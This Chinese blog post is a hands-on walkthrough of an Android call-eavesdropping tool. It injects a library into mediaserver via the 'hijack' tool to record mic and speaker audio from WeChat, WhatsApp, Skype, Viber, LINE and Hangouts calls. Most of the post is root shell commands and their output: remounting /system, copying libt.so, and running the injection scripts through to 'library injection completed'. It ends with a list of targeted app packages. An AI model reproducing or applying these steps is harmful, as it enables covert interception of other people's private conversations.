1、查看Android语音监控我们可以发现,目前可以实现对7款语音聊天软件进行监控,Hangouts、palchat、skype、viber、wechat、whatsapp、zeno
2、网上下载的源代码中包含pack目录,其下为编译好的libtc.so和hijack及shell脚本,实验时需要确保手机具有Root权限
3、注入原理主要是利用hijack(开源工具)将libt.so库(自研工具)注入到各个语音聊天进程中或直接注入mediaserver进程中,如微信的语音聊天进程为com.tencent.mm,然后利用注入的so中的语音处理函数对系统语音函数进行替换,实现劫持并保存想要的语音数据。
实验过程:android4.2微信最新版本举例
readme.txt内容如下:
1] cp libt.so in /system/lib/
2] ./setup_log.sh (pialla i log e restituisce il pid di mediaserver)3] ./instrument.sh pid di mediaserver
output:
- log, log testuali
- log_in, dump mic
- log_out, dump speaker
查看进程:
#ps | grep -v system找到微信的进程号为22357,本次不对此进程进行注入,直接对mediaserver进程注入
u0_a158 22212 208 870924 41292 ffffffff 40232004 S com.qihoo.appstoreu0_a188 22357 208 1166680 87884 ffffffff 40232004 S com.tencent.mm
u0_a15 22423 208 856124 28620 ffffffff 40232004 S com.sec.android.provider
badge
u0_a188 22491 208 907760 48224 ffffffff 40232004 S com.tencent.mm:tools
#cp libt.so /system/lib
#sh ./setup_log.sh
实际脚本内容如下:删除原有程序启动监控后生成的文件
rm log
touch log
rm log_in
touch log_in
rm log_out
touch log_out
ps | grep mediaserver
[email protected]:/sdcard/pack # sh ./instrument.sh 22357
sh ./instrument.sh 22357 di mediaserver
Too many memory mapping
cannot read memory map
can't find address of mprotect(), error!
[email protected]:/sdcard/pack # sh ./instrument.sh 22357
sh ./instrument.sh 22357 di mediaserver
Too many memory mapping
cannot read memory map
can't find address of mprotect(), error!
[email protected]:/sdcard/pack #
无法注入微信进程,改为注入mediaserver
[email protected]:/mnt/shell/emulated/0/pack # cp libt.so /system/lib/
cp libt.so /system/lib/
cp: /system/lib/libt.so: Read-only file system
[email protected]:/mnt/shell/emulated/0/pack # mount -o rw,remount /system
mount -o rw,remount /system
[email protected]:/mnt/shell/emulated/0/pack # cp libt.so /system/lib/
cp libt.so /system/lib/
[email protected]:/mnt/shell/emulated/0/pack #
[email protected]:/mnt/shell/emulated/0/pack # ./setup_log.sh
./setup_log.sh
k_shell/2000:6229: ./setup_log.sh: can't execute: Permission denied
[email protected]:/mnt/shell/emulated/0/pack # sh ./setup_log.sh
sh ./setup_log.sh
media 211 1 102200 16432 ffffffff 4026d108 S /system/bin/mediaserver
[email protected]:/mnt/shell/emulated/0/pack # sh ./instrument.sh 211
sh ./instrument.sh 211
mprotect: 0x4026d038
dlopen: 0x400db0d1
pc=4026d104 lr=40280ab9 sp=beffb900 fp=beffb9cc
r0=3 r1=c0186201
r2=beffb920 r3=beffb91c
stack: 0xbefdb000-0xbeffc000 leng = 135168
executing injection code at 0xbeffb8b0
library injection completed!
[email protected]:/mnt/shell/emulated/0/pack #
接下来即可查看日志和生成的语音文件信息。
下面是代码中支持的可以监控的软件列表
const char *pid_name[]={"com.skype.raider",
"com.viber.voip",
"com.whatsapp",
"com.tencent.mm",
"com.facebook.",
"jp.naver.line.android",
"com.google.android.talk"
"/system/bin/mediaserver",
"unknown"
};
附件:
android上的多媒体服务是有一个叫做mediaserver的服务进程提供的。这个进程通过binder的进程间通信方式来完成其他进程(如音乐播放器)的请求。
mediaserver服务器进程的实现代码在/frameworks/base/media/mediaserver目录下,代码很小。
也就是说,在启动系统的时候,mediaserver会启动,这样也会随之添加了服 务:media.audio_flinger, media.player, media.camera, media.audio_policy。
这些服务会响应来自上层的MediaPlayer的服务请求,主要有声音播放,多 媒体文件的播放,摄像头操作,音频管理等。
版权声明:本文为博主原创文章,未经博主允许不得转载。